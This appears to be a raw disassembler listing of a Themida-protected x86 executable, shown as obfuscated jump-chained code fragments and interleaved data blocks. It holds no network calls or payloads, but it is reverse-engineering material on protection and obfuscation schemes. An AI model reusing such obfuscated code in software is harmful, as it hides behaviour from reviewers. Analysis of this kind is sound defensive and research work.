loc_509AC4:				; CODE XREF: Themida_:0050B7E5j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 1000000h
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_508448
; ---------------------------------------------------------------------------
		db 66h
		dd 8124148Bh, 2C4h, 14316600h, 9918E924h, 489FFFFh, 0E9585424h
		dd 0FFFFE195h, 241C895Ch, 0FFE2FBE9h, 0E9F889FFh, 0FFFFB696h
		dd 5042BD55h, 0EB012F9Dh, 78C3815Dh, 523A4214h,	813DA5BAh
		dd 97F28169h, 8149441Eh, 59A81DEAh, 5AD32917h, 0EE84EB81h
		dd 0DA01CA29h, 81241C8Bh, 4C4h,	4C28300h, 8B241487h, 4312424h
		dd 0BAE99C24h, 0BDFFFF7Ch, 39B57A42h, 0FFDD09E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_509B61:				; CODE XREF: Themida_:00508731j
		push	ebx
		mov	ebx, 0
		add	ebx, ecx
		xor	[ebx], edx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_507204
; ---------------------------------------------------------------------------
		dw 0F281h
		dd 1E2B6AD3h, 75E3F281h, 814A584Eh, 0B8CA29C2h,	0E9D101EDh
		dd 0FFFFFE08h, 57F00159h, 0EA74EABFh, 6DCF8104h, 472D8E19h
		dd 7582EF81h, 0F8011AB0h, 0BFE95E5Fh, 68000035h, 25BEh
		dd 0BB241C89h, 120C1A06h, 5DB0EB81h, 4B434C19h,	0FFACE8E9h
		dd 0E6815FFFh, 4D7773E4h, 2E5CC681h, 0F3015E76h, 0FFAB96E9h
		dd 56E589FFh, 25AD68h, 240C8900h, 89336AB9h, 59CE893Ch
		dd 81FFC683h, 255905C6h, 6FF68165h, 81234767h, 0A05092EEh
		dd 81D6F76Fh, 0B66594F6h, 5EF501ECh, 4ED81h, 0F5E90000h
		dd 5AFFFFC2h, 55565559h, 102D4968h, 0D1685D1Eh,	0E9000029h
		dd 0FFFFEEFEh, 0F705E6C1h, 92E953DEh
		db 35h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_509C3B:				; CODE XREF: Themida_:00505357j
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_50779B
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 0FB97BF24h, 0E9812FE0h, 4E566976h, 1497C181h, 0F929345Eh
		dd 1497E981h, 0C181345Eh, 4E566976h, 81243C8Bh,	4C4h, 59C80100h
		dd 35E95751h, 2900002Bh, 0ABA6E9F5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_509C86:				; CODE XREF: Themida_:0050B998j
		pop	edx
		xchg	ecx, [esp]
		jmp	loc_503D7C
; ---------------------------------------------------------------------------


loc_509C8F:				; CODE XREF: Themida_:0050D4FCj
		push	ebx
		mov	ebx, 2A6125DDh
		push	edi
		mov	edi, 1
		jmp	loc_50B5C4
; ---------------------------------------------------------------------------


loc_509CA0:				; CODE XREF: Themida_:005077DAj
		pop	esp
		jmp	loc_50AFE5
; ---------------------------------------------------------------------------
		dw 66E9h
		dd 81FFFF7Bh, 2C4h, 4EC8300h, 0B7241C89h, 0E9D7F6D4h, 2D28h
		dd 0AA4679BEh, 0A594E921h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_509CCA:				; CODE XREF: Themida_:005084AEj
		sub	ebx, edx
		pop	edx
		and	edx, ebx
		jmp	loc_5021F8
; ---------------------------------------------------------------------------
		dd 2E981h, 0FF510000h, 8B042474h, 0C483240Ch, 3542E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_509CEA:				; CODE XREF: Themida_:0050592Ej
		mov	dh, 0B3h
		not	dh
		shl	dh, 3
		push	ax
		jmp	loc_50D6A3
; ---------------------------------------------------------------------------
		dd 4EC81ACh, 89000000h,	0B252240Ch, 0E9A6B5AFh,	0FFFFF379h
; ---------------------------------------------------------------------------


loc_509D0C:				; CODE XREF: Themida_:005061D7j
		not	esi
		push	esi
		jmp	loc_50266F
; ---------------------------------------------------------------------------
		dd 2414F750h, 0F7D8F758h, 9B3E9D0h, 0CEFE0000h,	5301F680h
		dd 0F888F788h, 3DB2E95Bh, 5AD0000h, 29696873h, 0FF7DB1E9h
		dd 48B66FFh, 19456824h,	0C890000h, 4EC8124h, 54000000h
		dd 8124048Fh, 4ECh, 241C8900h, 4BBh, 246C8100h,	7023CF04h
		dd 320FE915h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_509D6E:				; CODE XREF: Themida_:00505726j
		shr	edi, 2
		jmp	loc_5041AA
; ---------------------------------------------------------------------------
		dw 348Bh
		dd 4C48124h, 0F7000000h, 0D9EE81D6h, 0E97BD42Fh, 0FFFFBAD9h
		dd 3019F380h, 0EB805BD8h, 80C328A0h, 48BA0C3h, 0A5E95624h
		dd 0BE000037h, 4, 0B68E9h, 9C506600h, 0FF7A5CE9h, 4C481FFh
		dd 81000000h, 4C3h, 2C38100h, 33000000h, 0EE9241Ch, 5FFFFFA6h
		dd 77F3F781h, 8DE91B46h, 89FFFF9Bh, 0F8015EF7h,	0E92434FFh
		dd 0FFFFF03Eh, 0D90025B3h, 0B5515B66h, 1920E935h, 0B6050000h
		dd 17E704Bh, 4BB62DD8h,	0AB057E70h, 5762476Dh, 4AA16851h
		dd 3C890000h, 84A6824h,	2E9362Ah
		db 0B5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_509E1B:				; CODE XREF: Themida_:00505CFDj
		mov	ecx, [ebx]
		mov	ebx, [esp]
		push	5F37h
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_50B473
; ---------------------------------------------------------------------------
		dw 405h
		dd 2D000000h, 4, 5C240487h, 68240C89h, 4DC2947h, 8E9C159h
		dd 0FF878CE9h, 3E4C0FFh, 0E9A3B652h, 0FFFFDF75h, 4C481h
		dd 0C4830000h, 401DE904h, 89530000h, 4C381E3h, 0E9000000h
		dd 0FFFF95B8h
; ---------------------------------------------------------------------------


loc_509E80:				; CODE XREF: Themida_:00508399j
		xor	ebx, [esp]
		pop	esp
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_501811
; ---------------------------------------------------------------------------
		db 81h,	0F2h, 69h
		dd 58708612h, 43EEEA81h, 0EA812B87h, 73C50136h,	0C281FA01h
		dd 73C50136h, 43EEC281h, 28E92B87h
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_509EB3:				; CODE XREF: Themida_:00508ADBj
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		idiv	cx
		push	44D4h
		mov	[esp], edi
		push	esp
		pop	edi
		push	eax
		push	4
		pop	eax
		add	edi, eax
		jmp	loc_50B045
; ---------------------------------------------------------------------------
		db 89h
		dd 0C8B5AD0h, 0E1895124h, 0FFD75AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_509EE5:				; CODE XREF: Themida_:00507207j
		add	esp, 4
		xor	edx, [edi+24h]
		jmp	loc_50268C
; ---------------------------------------------------------------------------


loc_509EF3:				; CODE XREF: Themida_:005024E0j
		xor	edi, 6F9C04F5h
		or	ebp, edi
		jmp	loc_506E97
; ---------------------------------------------------------------------------


loc_509F00:				; CODE XREF: Themida_:0050268Fj
					; Themida_:00508F92j
		push	344Fh
		mov	[esp], ebx
		push	5B03h
		mov	[esp], ebx
		mov	ebx, 6616681Fh
		shl	ebx, 1
		jmp	loc_506A9B
; ---------------------------------------------------------------------------
		dd 0CE1958B9h, 0E981417Bh, 1, 0E955D1F7h, 0FFFFDD4Ch, 8025F280h
		dd 0D3288EEAh, 0FAB6525Ah, 0FF8B35E9h, 241C31FFh, 5C241C33h
		dd 0E9240431h, 0FFFF78C1h, 4240481h, 0E9000000h, 2018h
; ---------------------------------------------------------------------------


loc_509F5C:				; CODE XREF: Themida_:005059E5j
		or	ebx, 50757E35h
		jmp	loc_504A1A
; ---------------------------------------------------------------------------
		db 66h
		dd 83241C8Bh, 78E902C4h
		db 8Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_509F73:				; CODE XREF: Themida_:005052E4j
		pop	edx
		mov	ecx, [esp]
		push	ebx
		jmp	loc_5054FE
; ---------------------------------------------------------------------------
		db 59h,	81h, 0C2h
		dd 5D672177h, 2DE3B850h, 105301Eh, 0E9000000h, 0FFFF8D34h
		dd 81242C8Bh, 4C4h, 8BA7E900h, 8FBFFFFFh, 810AB811h, 7F08CCC7h
		dd 1AF78140h, 17B4A2Bh,	0D1F75FF9h, 0E906E1C1h,	0FFFFA2F3h
		dd 7DBE68h, 241C8900h, 2BBh, 0B4B9E900h, 0E956FFFFh, 0FFFFE766h
; ---------------------------------------------------------------------------


loc_509FD8:				; CODE XREF: Themida_:0050B5E3j
		not	edx
		jmp	loc_50759A
; ---------------------------------------------------------------------------


loc_509FDF:				; CODE XREF: Themida_:00506406j
		pop	ebx
		jmp	loc_50DA2F
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 557F6824h, 14890000h, 4EC8324h, 81242489h, 42404h, 0D4E90000h
		dd 43000000h, 2487E9h, 0FFC38100h, 0E91F2733h, 0FFFFFFEFh
		dd 0E1895157h, 4C181h, 0E9810000h, 4, 0FFF5E9E9h, 8EDC1FFh
		dd 0D3C9F581h, 752D0520h, 0E94DB41Bh, 0FFFFC85Dh, 0E99CC884h
		dd 0FFFF77CDh, 0E9243487h, 0FFFFDD45h
; ---------------------------------------------------------------------------


loc_50A04C:				; CODE XREF: Themida_:005029F7j
		pop	ebp
		mov	ebp, ebx
		jmp	loc_50292D
; ---------------------------------------------------------------------------


loc_50A054:				; CODE XREF: Themida_:0050B834j
		mov	eax, 24h
		sub	eax, 4E142687h
		add	eax, edi
		jmp	loc_5069C7
; ---------------------------------------------------------------------------


loc_50A065:				; CODE XREF: Themida_:0050B0A1j
		add	dword ptr [esp], 5B3042DDh
		pop	eax
		push	4209h
		mov	[esp], ecx
		mov	ecx, 52BA6EA7h
		neg	ecx
		dec	ecx
		jmp	loc_507DC9
; ---------------------------------------------------------------------------
		dw 8168h
		dd 8900001Eh, 0BE56243Ch, 5802F73h, 0E42BA52h, 0EC8157F4h
		dd 4, 0FFE8AAE9h, 665E66FFh, 9CE0EF81h,	6602EC83h, 66243C89h
		dd 80243481h, 665A664Fh, 4F80F281h, 81243C8Bh, 4C4h, 0D7896600h
		dd 0F831665Ah, 0FFA926E9h, 1EE95BFFh, 8BFFFFE9h, 0C4832414h
		dd 5B685604h, 0E900007Eh, 1570h, 5C243487h, 242C8150h
		dd 200E2D15h, 8324348Bh, 0C68104C4h, 200E2D15h,	155E958h
		dd 3C870000h, 0F9F2E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50A10E:				; CODE XREF: Themida_:00501F29j
		or	edi, 5EDB4477h
		neg	edi
		jmp	loc_503464
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF76F1h, 299BEE81h, 0C601484Ah, 317AE9h, 56E95A00h
		dd 80000010h, 0F888E1EFh, 0E9C5205Bh, 2FF6h
; ---------------------------------------------------------------------------


loc_50A140:				; CODE XREF: Themida_:0050ACE0j
		xor	esi, 0D7FBF7F9h
		jmp	loc_50CE5C
; ---------------------------------------------------------------------------
		db 81h
		dd 0CA4E1FF1h, 0B120E95Bh, 0DFBEFFFFh, 461D5F44h, 6024F681h
		dd 0F68143BBh, 5EE424C0h, 815EF201h, 4C2h, 24148700h, 68AE9h
		dd 3A4C2D00h, 0A9E95651h, 0BEFFFF88h, 4E1513CAh, 0B07E9h
		dd 0C8B6600h, 0E7895724h, 9AE9h, 4C48100h, 1000000h, 0BA52F9h
		dd 81000000h, 0AA4D15C2h, 81CA0131h, 0AA4D15EAh, 7715E931h
		dd 2C89FFFFh, 2BD24h, 0E9010000h, 74FF515Dh, 0C8B0424h
		dd 0BC08E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50A1D2:				; CODE XREF: Themida_:0050365Ej
		add	ebx, edx
		add	dword ptr [ebx], 1
		pop	ebx
		mov	edx, [esp]
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4


loc_50A1EA:				; CODE XREF: Themida_:0050C93Fj
		push	0CE2h
		mov	[esp], ebx
		push	eax
		push	3BD2h
		jmp	loc_50AABF
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 62h
		dd 1680900h, 0A106E9CBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	7105348Dh
		pop	ebx
		push	eax
		mov	eax, 0E250C46h
		jmp	loc_5081C5
; ---------------------------------------------------------------------------
		dd 7AB6CA81h, 0EA8128A9h, 0F9BDFBB4h, 3FE9D501h, 81FFFF79h
		dd 4C7h, 4EF8100h, 87000000h, 895C243Ch, 63E9241Ch, 0BE00000Eh
		dd 7BD42FDDh, 1099E9h, 6BE95900h, 89000038h, 2434FF30h
		dd 0E559E95Eh, 8145FFFFh, 616C36CDh, 0AFE94D05h
		db 0D2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50A273:				; CODE XREF: Themida_:0050AAFEj
		pop	ebx
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		mov	edx, 0EF1033Bh
		sub	edx, 0E0B07D9h
		add	edx, 0FF1A049Fh
		and	eax, edx
		pop	edx
		or	edx, eax
		shl	edx, 1
		jmp	loc_508F7F
; ---------------------------------------------------------------------------
		dw 0E95Bh
		dd 0FFFFBDF1h
; ---------------------------------------------------------------------------


loc_50A2A0:				; CODE XREF: Themida_:00506D58j
		sub	edi, ecx
		pop	ecx
		inc	edi
		push	0
		add	dword ptr [esp], 7FC76EDDh
		sub	[esp], edi
		sub	dword ptr [esp], 7FC76EDDh
		pop	edi
		sub	edi, 7E96DEEBh
		jmp	loc_50B440
; ---------------------------------------------------------------------------


loc_50A2C6:				; CODE XREF: Themida_:00505646j
		pop	edx
		mov	edx, 4DA82ECEh
		xor	edx, esi
		jmp	loc_5053F7
; ---------------------------------------------------------------------------


loc_50A2D3:				; CODE XREF: Themida_:00507FE8j
		push	dword ptr [esp]
		pop	ebp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_50D8C9
; ---------------------------------------------------------------------------
		dw 815Ah
		dd 70258DC3h, 0E9C30109h, 0A37h
; ---------------------------------------------------------------------------


loc_50A2FC:				; CODE XREF: Themida_:00507382j
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_50C2D7
; ---------------------------------------------------------------------------
		db 59h,	0E9h, 0F0h
		db 0ADh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50A31B:				; CODE XREF: Themida_:0050580Ej
		xor	dword ptr [esp], 3E7D67AFh
		jmp	loc_50280F
; ---------------------------------------------------------------------------


loc_50A327:				; CODE XREF: Themida_:0050BF47j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_506DF8
; ---------------------------------------------------------------------------


loc_50A330:				; CODE XREF: Themida_:00503DB2j
		push	ebx
		jmp	loc_501883
; ---------------------------------------------------------------------------
		dw 0C380h
		dd 0A8B25218h, 0E2C0EAD0h, 0DB01E907h, 0CF81FFFFh, 17682423h
		dd 6294BE56h, 84E940CEh, 66FFFF89h, 7AB0E9ADh, 0FF57FFFFh
		dd 5F042474h, 5C24048Fh, 89242C89h, 4BE56E5h, 1000000h
		dd 57515EF5h, 5F106851h, 41595C94h, 0CE45C181h,	0CF89C8B4h
		dd 0D2ACB959h, 8E9DAB6h, 88FFFFE9h, 0CB8858E1h,	0C3805966h
		dd 84FEE929h, 8158FFFFh, 4C7h, 243C8700h, 5124248Bh, 0FFE0A2E9h
		dd 48F5AFFh, 24248B24h,	50241489h, 0CA6AE99Ch, 295AFFFFh
		dd 5EBA52D0h, 81552C4Ah, 0CD353CF2h, 0A2E2813Ah, 812CDD3Bh
		dd 752AB0E2h, 3DEA8142h, 1E3D5AEh, 2CE95AD0h, 8BFFFFF8h
		dd 9662424h, 0E99C2404h, 0FFFF7415h, 12CBCA81h,	0BDE94EE0h
		dd 0C000002Fh, 0C78003E7h, 0D5C780A0h, 0C05BF908h, 0C98007E9h
		dd 0BC63E959h, 71BBFFFFh, 0C1004642h, 814304EBh, 0CC7C33F3h
		dd 74EDE929h, 815CFFFFh, 4ECh, 24248900h, 0FFE0C7E9h, 0AEBE56FFh
		dd 0E911F31Ch, 277Bh
; ---------------------------------------------------------------------------


loc_50A44C:				; CODE XREF: Themida_:0050CF4Bj
		add	edx, 369C5188h
		add	edx, 68FD41FAh
		pop	ecx
		jmp	loc_501811
; ---------------------------------------------------------------------------
		dw 1487h
		dd 24895C24h, 14CE924h,	248B0000h, 240C8B24h, 0FF81BAE9h
		dd 2434FFFFh, 592434FFh, 1230E957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50A482:				; CODE XREF: Themida_:0050BDFBj
		mov	edx, 3B485966h
		xor	edx, 6CD67F4Ah
		sub	edi, edx
		pop	edx
		push	eax
		mov	eax, edi
		jmp	loc_503677
; ---------------------------------------------------------------------------
		dd 476ABF57h, 0EFC13B63h, 3FF78103h, 891E0526h,	0DE895FFBh
		dd 81241C8Bh, 4C4h, 0CFF68100h,	8130887Ah, 562200EEh, 81EED143h
		dd 0B73807E6h, 81DEF756h, 79DBC7EEh, 9CBB5395h,	0F77D8714h
		dd 0F74343D3h, 0EB814BD3h, 67F0EF51h, 815BDE31h, 17397FF6h
		dd 5EF5010Dh, 0FFE82CE9h, 5FF889FFh, 0A63E9h, 412D5800h
		dd 2956176Eh, 6E4105F8h, 515F5617h, 1892E9h, 242C3300h
		dd 0E9242C31h, 0FFFFEA38h, 4D8285Ch, 5FE95188h,	5F00000Eh
		dd 5C24048Fh, 0FFBE86E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50A531:				; CODE XREF: Themida_:0050D5A3j
		mov	ch, 0F3h
		mov	dl, 0ACh
		add	dl, ch
		pop	ecx
		jmp	loc_505B62
; ---------------------------------------------------------------------------


loc_50A53D:				; CODE XREF: Themida_:00504148j
		mov	ebp, 3C2B7343h
		jmp	loc_506245
; ---------------------------------------------------------------------------
		db 87h
		dd 248B243Ch, 58E95124h, 89000001h, 98E9240Ch, 0BAFFFFA6h
		dd 4, 535AD301h, 0FF900AE9h, 4C181FFh, 81000000h, 4C1h
		dd 0D31DE900h, 0E942FFFFh, 0FFFFD064h, 2B60F66h, 6AE36866h
		dd 24048966h, 0FF7280E9h, 8BFD31FFh, 0AAE9243Ch
		db 25h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50A59B:				; CODE XREF: Themida_:00504F11j
		pop	ecx
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_50416F
; ---------------------------------------------------------------------------
		dw 483h
		dd 34FF0424h, 0A191E924h, 815AFFFFh, 4C6h, 24348700h, 444D685Ch
		dd 1C890000h, 0E9535224h, 1EFFh, 0F75FF989h, 0F7D9F7D9h
		dd 0B7D2E9D1h, 31ADFFFFh, 0BB5355D8h, 3310389Eh, 7243D3BDh
		dd 0E9DD296Fh, 3ECh, 0D00038B2h, 240C8B5Ah, 4C481h, 89500000h
		dd 405E0h, 0BD550000h, 2, 60E9E829h, 81FFFF94h,	2C2h, 24143300h
		dd 33241431h, 0F65C2414h, 0B4A7E9E9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50A63A:				; CODE XREF: Themida_:0050C8E8j
		push	5DFh
		mov	[esp], ebx
		jmp	loc_50B887
; ---------------------------------------------------------------------------
		db 66h
		dd 0C2E99C51h, 0ADFFFF71h, 0FFFB24E9h, 295D59FFh, 23BA52D8h
		dd 295E2379h, 2434FFD0h, 4C4815Ah, 0E9000000h, 0FFFF9DFAh
; ---------------------------------------------------------------------------


loc_50A670:				; CODE XREF: Themida_:00508C08j
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_5056A3
; ---------------------------------------------------------------------------
		db 81h
		dd 6E1676EAh, 5AD00169h, 972DE95Fh, 815BFFFFh, 4D13F9F5h
		dd 64F58120h, 2D094506h, 4A0D2EE7h, 0E955E801h,	0FFFF9D84h
		dd 28E9C801h, 50FFFF9Ch, 5453D488h, 0BE56515Bh,	331584h
		dd 4F10E681h, 0EBE91FBDh, 81000019h, 11D2DC5h, 5DE80140h
		dd 5C240487h, 0FFF5FFE9h, 68AA05FFh, 0C7299FB8h, 0E924048Bh
		dd 0FFFFA417h
; ---------------------------------------------------------------------------


loc_50A6E4:				; CODE XREF: Themida_:00504E79j
		add	ebp, eax
		sub	ebp, 39A07044h
		mov	eax, [esp]
		add	esp, 4
		add	ebp, 4
		jmp	loc_505462
; ---------------------------------------------------------------------------
		db 0E9h, 0Fh, 71h
		dd 0CE29FFFFh, 58E68159h, 81322725h, 4240EEEh, 0E6EB8120h
		dd 157DC03h, 69BD55F3h,	0E9781003h, 0FFFFADBEh,	0E95B0B8Bh
		dd 0FFFFE7A7h, 4C38159h, 33000000h, 6E9241Ch, 5AFFFFF8h
		dd 0FFFABCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50A741:				; CODE XREF: Themida_:00508DE8j
		xor	ebx, 6474829Fh
		jmp	loc_501E66
; ---------------------------------------------------------------------------
		dd 0C3005866h, 8331C380h, 0DDE904ECh, 89FFFF9Eh, 37468E3h
		dd 0C890000h, 0FB2B924h, 0E1C15AD7h, 81C98104h,	811BD260h
		dd 0F2FB9DE9h, 3CC381BFh, 15CEF35h, 0D5AAE9CBh,	0C183FFFFh
		dd 240C3302h, 33240C31h, 248B240Ch, 0AB0F6624h,	0E99C2404h
		dd 0FFFF7071h, 8059EB80h, 0A1E907EBh, 80FFFFFFh, 0C8B1DC3h
		dd 4C48124h, 0F000000h,	34FFC0B6h, 22BA5287h, 0F77A061Ah
		dd 6EE968DAh, 3C890000h, 0FDABF24h, 0C7814D5Fh,	46705392h
		dd 3C8BFA01h, 0DC1FE924h, 0B850FFFFh, 0A3E78EEFh, 48BC331h
		dd 0E7895724h, 0FF981FE9h, 4EC81FFh, 89000000h,	0C9E9241Ch
		dd 5CFFFFA5h, 5024048Bh, 4055854h, 5000000h, 4,	0FFE222E9h
		dd 2E0C0FFh, 2C03E8C0h,	58C1304Bh, 0FFC937E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50A829:				; CODE XREF: Themida_:00503BF0j
		not	ecx
		push	edx
		mov	edx, 0D326EEBEh
		sub	ecx, 183C5E9Dh
		sub	ecx, edx
		add	ecx, 183C5E9Dh
		pop	edx
		push	edx
		mov	edx, ecx
		mov	edi, edx
		jmp	loc_50407B
; ---------------------------------------------------------------------------
		dw 8F68h
		dd 89000022h, 0E9542404h, 163Bh
; ---------------------------------------------------------------------------


loc_50A858:				; CODE XREF: Themida_:005031EAj
		xor	edx, ebp
		pop	ebp
		sub	eax, edx
		jmp	loc_507F68
; ---------------------------------------------------------------------------
		dw 8852h
		dd 9653E9CAh, 0D6F6FFFFh, 0F4885066h, 50DD8851h, 0E688EC88h
		dd 0E3885958h, 0FFC8FFE9h, 24148BFFh, 5004C483h, 1862BB53h
		dd 366857C6h, 0E9701721h, 0FFFFD791h, 0FF3877FFh, 0C8B2434h
		dd 4EC8324h, 89242C89h,	4C581E5h, 83000000h, 2C8704C5h
		dd 24248B24h, 2B9C6855h, 24890000h, 4B95124h, 0E9000000h
		dd 0FFFFEC40h, 0B951E801h, 44215497h, 5A74C181h, 0D1F76A83h
		dd 0FFC373E9h, 0F0BD55FFh, 1507A43h, 1809E9EBh,	565E0000h
		dd 0B883E954h, 0E95DFFFFh, 0FFFFE80Eh
; ---------------------------------------------------------------------------


loc_50A8FC:				; CODE XREF: Themida_:0050C7D1j
		pop	ebx
		mov	edx, 3E30551Bh
		push	6256h
		mov	[esp], eax
		push	5FC70D55h
		pop	eax
		jmp	loc_507924
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 58h
		dd 8121F73Dh, 390CE8C2h, 0CB29E974h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50A926:				; CODE XREF: Themida_:00507719j
		pop	dword ptr [esp]
		mov	esp, [esp]
		or	eax, eax
		jnz	loc_50B82C
		mov	edx, 7B7274A4h
		shr	edx, 2
		add	edx, 0F7F78D11h
		jmp	loc_5090BB
; ---------------------------------------------------------------------------
		db 0FFh
		dd 669D1C77h, 241CD359h, 6EBBE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50A956:				; CODE XREF: Themida_:0050DD40j
		not	ebx
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	eax, [esp]
		push	6E23h
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		sub	esp, 4
		jmp	loc_506798
; ---------------------------------------------------------------------------
		dd 405E089h, 81000000h,	4ECh, 241C8900h, 1FB6851h, 0C1592FCEh
		dd 56E906E9h, 0B5FFFFDDh, 0FEEC801Eh, 74E9EC28h
		db 21h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50A9B3:				; CODE XREF: Themida_:005086A7j
		add	dword ptr [esp], 4
		pop	ebp
		add	ebp, 4
		push	edi
		mov	edi, 4
		add	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_50B7D9
; ---------------------------------------------------------------------------
		db 1, 0D7h, 5Ah
		dd 0FF6E93E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50A9E1:				; CODE XREF: Themida_:00507465j
		add	esp, 2
		xor	dh, 0FBh
		jmp	loc_505074
; ---------------------------------------------------------------------------
		dd 6BBF575Bh, 0E9599913h, 1468h, 8168F9F7h, 8900003Ch
		dd 9C502414h, 0FF6E08E9h, 33A8BFFFh, 0F7471333h, 51CF81DFh
		dd 810CD413h, 2320ADC7h, 5FFE0113h, 5C243487h, 0E950D2F7h
		dd 0FFFFC01Fh, 8A241C28h, 0C483241Ch, 29F38002h, 0D3F6D3F6h
		dd 0FFD379E9h, 48B66FFh, 0E1895124h, 4B850h, 0BB530000h
		dd 0B817E89h, 0E95BD929h, 0FFFF71D1h, 0E381EBD1h, 37307514h
		dd 0FFD3AFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50AA69:				; CODE XREF: Themida_:005041BFj
		pop	edx
		mov	esi, [esp]
		add	esp, 4
		and	ecx, ebx
		pop	ebx
		jmp	loc_50BBB8
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0E956FA29h, 0FFFFBD1Dh, 0E9241C87h, 3187h, 8704C483h
		dd 0E95C242Ch, 0FFFFE1D1h, 4E54A905h, 2434FF54h, 4C4835Bh
		dd 0FFC12BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50AAA9:				; CODE XREF: Themida_:005028D7j
		xor	eax, esi
		push	esi
		not	dword ptr [esp]
		mov	esi, [esp]
		push	eax
		jmp	loc_50D237
; ---------------------------------------------------------------------------
		dd 3FE9F531h
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50AABF:				; CODE XREF: Themida_:0050A1F8j
		mov	[esp], edi
		push	68215A42h
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_50C6E8
; ---------------------------------------------------------------------------
		db 80h,	0C3h, 0A7h
		dd 0BFE95066h, 0B600000Ch, 0A36AE984h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50AAE6:				; CODE XREF: Themida_:00506D9Ej
		mov	ebp, [esp]
		add	esp, 4
		pop	edi
		add	edi, 4
		push	ebx
		mov	ebx, 4
		sub	edi, ebx
		jmp	loc_50A273
; ---------------------------------------------------------------------------
		db 5Dh
		dd 4BF5755h, 89000000h,	0E9815FFDh, 29AB768Eh, 0C181E929h
		dd 29AB768Eh, 0FFFDD5E9h, 4C483FFh, 0F5EE581h, 0DDF72AFBh
		dd 41ACED81h, 0ED8125E3h, 96C66E4Dh, 0B95D5A55h, 789F5DC5h
		dd 148BD129h, 4C48124h,	81000000h, 9FF614F1h, 33690547h
		dd 7A05740Eh, 2D71614Ch, 1DA623FEh, 0FE05C829h,	0E91DA623h
		dd 0FFFFB428h, 5EF0295Bh, 4950502Dh, 0AC42D66h,	27E93C5Bh
		dd 89FFFFA5h, 2BB241Ch,	53000000h, 0FC5083BBh, 1BC3812Ah
		dd 814DC736h, 0DC73F2E3h, 64CB8100h, 0F720FB68h, 66F381D3h
		dd 0E9EFB1AEh, 0FFFF92FFh
; ---------------------------------------------------------------------------


loc_50ABAC:				; CODE XREF: Themida_:0050266Aj
		pop	ecx
		push	eax
		push	400Fh
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_50D01E
; ---------------------------------------------------------------------------
		dd 49AE95Bh, 34FF0000h,	240C8B24h, 81E28952h, 4C2h, 4C28300h
		dd 5C241487h, 7F6A68h, 242C8900h, 926DE954h, 0C281FFFFh
		dd 0AFD952Eh, 6DE9D089h
		db 0B3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50ABF7:				; CODE XREF: Themida_:00505787j
		xor	dword ptr [esp], 6FA106A6h
		pop	ebp
		push	edi
		mov	edi, 50B949D8h
		and	edi, 67AF23A4h
		and	edi, 7EE04D1Fh
		jmp	loc_50B50E
; ---------------------------------------------------------------------------
		dw 0C381h
